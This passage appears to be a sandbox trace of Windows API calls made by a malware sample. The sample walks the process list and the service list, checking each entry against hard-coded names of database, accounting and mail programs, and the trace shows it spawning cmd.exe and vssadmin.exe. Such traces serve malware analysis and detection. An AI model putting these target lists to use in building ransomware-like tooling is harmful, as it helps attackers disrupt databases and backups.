lpString2="WPDBusEnum") returned -1 [0054.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.324] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0054.324] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0054.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0054.324] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b4738 | out: hHeap=0x5a0000) returned 1 [0054.324] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0054.327] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.327] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.328] lstrlenW (lpString="System") returned 6 [0054.328] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0054.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0054.328] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0054.328] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0054.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0054.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0054.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0054.328] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.329] lstrlenW (lpString="smss.exe") returned 8 [0054.329] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0054.329] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0054.329] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0054.329] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0054.329] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0054.329] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0054.329] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0054.329] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.329] lstrlenW (lpString="csrss.exe") returned 9 [0054.330] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0054.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0054.330] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0054.330] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0054.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0054.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0054.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0054.330] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.330] lstrlenW (lpString="wininit.exe") returned 11 [0054.330] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0054.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0054.330] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0054.331] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.331] lstrlenW (lpString="csrss.exe") returned 9 [0054.331] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.332] lstrlenW (lpString="winlogon.exe") returned 12 [0054.332] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.332] lstrlenW (lpString="services.exe") returned 12 [0054.332] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.333] lstrlenW (lpString="lsass.exe") returned 9 [0054.333] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.333] lstrlenW (lpString="lsm.exe") returned 7 [0054.333] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.334] lstrlenW (lpString="svchost.exe") returned 11 [0054.334] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.334] lstrlenW (lpString="svchost.exe") returned 11 [0054.334] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.335] lstrlenW (lpString="svchost.exe") returned 11 [0054.335] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.336] lstrlenW (lpString="svchost.exe") returned 11 [0054.336] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.336] lstrlenW (lpString="svchost.exe") returned 11 [0054.336] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.337] lstrlenW (lpString="audiodg.exe") returned 11 [0054.337] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.337] lstrlenW (lpString="svchost.exe") returned 11 [0054.337] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.338] lstrlenW (lpString="svchost.exe") returned 11 [0054.338] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.338] lstrlenW (lpString="dwm.exe") returned 7 [0054.338] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.339] lstrlenW (lpString="explorer.exe") returned 12 [0054.339] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.339] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.339] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.340] lstrlenW (lpString="taskhost.exe") returned 12 [0054.340] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.340] lstrlenW (lpString="svchost.exe") returned 11 [0054.341] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.341] lstrlenW (lpString="taskeng.exe") returned 11 [0054.341] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.342] lstrlenW (lpString="taskhost.exe") returned 12 [0054.342] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0054.342] lstrlenW (lpString="promotesrouting.exe") returned 19 [0054.342] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0054.343] lstrlenW (lpString="rxcalled.exe") returned 12 [0054.343] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0054.343] lstrlenW (lpString="off.exe") returned 7 [0054.343] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0054.344] lstrlenW (lpString="mayorintl.exe") returned 13 [0054.344] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0054.344] lstrlenW (lpString="gzip-june.exe") returned 13 [0054.344] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0054.345] lstrlenW (lpString="lsnavy.exe") returned 10 [0054.345] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0054.345] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0054.345] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0054.658] lstrlenW (lpString="specifications.exe") returned 18 [0054.658] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0054.661] lstrlenW (lpString="soup-mario.exe") returned 14 [0054.661] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0054.662] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0054.662] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0054.662] lstrlenW (lpString="platformsprivate.exe") returned 20 [0054.662] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0054.663] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0054.663] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0054.663] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0054.663] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0054.664] lstrlenW (lpString="scan-allows.exe") returned 15 [0054.664] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0054.664] lstrlenW (lpString="mwprovince.exe") returned 14 [0054.664] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0054.665] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0054.665] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0054.665] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0054.665] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0054.666] lstrlenW (lpString="contacting.exe") returned 14 [0054.666] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0054.666] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0054.666] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0054.667] lstrlenW (lpString="jpmanagers.exe") returned 14 [0054.667] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0054.667] lstrlenW (lpString="motor.exe") returned 9 [0054.667] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0054.668] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0054.668] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0054.668] lstrlenW (lpString="toshiba.exe") returned 11 [0054.668] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.669] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.669] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0054.669] lstrlenW (lpString="mobsync.exe") returned 11 [0054.669] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0054.670] lstrlenW (lpString="3G6885.exe") returned 10 [0054.670] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.670] lstrlenW (lpString="cmd.exe") returned 7 [0054.671] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.671] lstrlenW (lpString="conhost.exe") returned 11 [0054.671] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.672] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.672] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.672] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.672] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.673] lstrlenW (lpString="svchost.exe") returned 11 [0054.673] Process32NextW (in: hSnapshot=0x1f4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.673] CloseHandle (hObject=0x1f4) returned 1 [0054.673] Sleep (dwMilliseconds=0x1f4) [0055.386] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63ff68 [0055.387] EnumServicesStatusExW (in: hSCManager=0x63ff68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0055.387] GetLastError () returned 0xea [0055.387] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x12c6) returned 0x36b8758 [0055.388] EnumServicesStatusExW (in: hSCManager=0x63ff68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b8758, cbBufSize=0x12c6, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b8758, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0055.388] CloseServiceHandle (hSCObject=0x63ff68) returned 1 [0055.389] lstrlenW (lpString="Appinfo") returned 7 [0055.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.389] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.389] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.389] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.389] lstrlenW (lpString="AudioSrv") returned 8 [0055.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.389] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.389] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.389] lstrlenW (lpString="BFE") returned 3 [0055.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.389] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.389] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 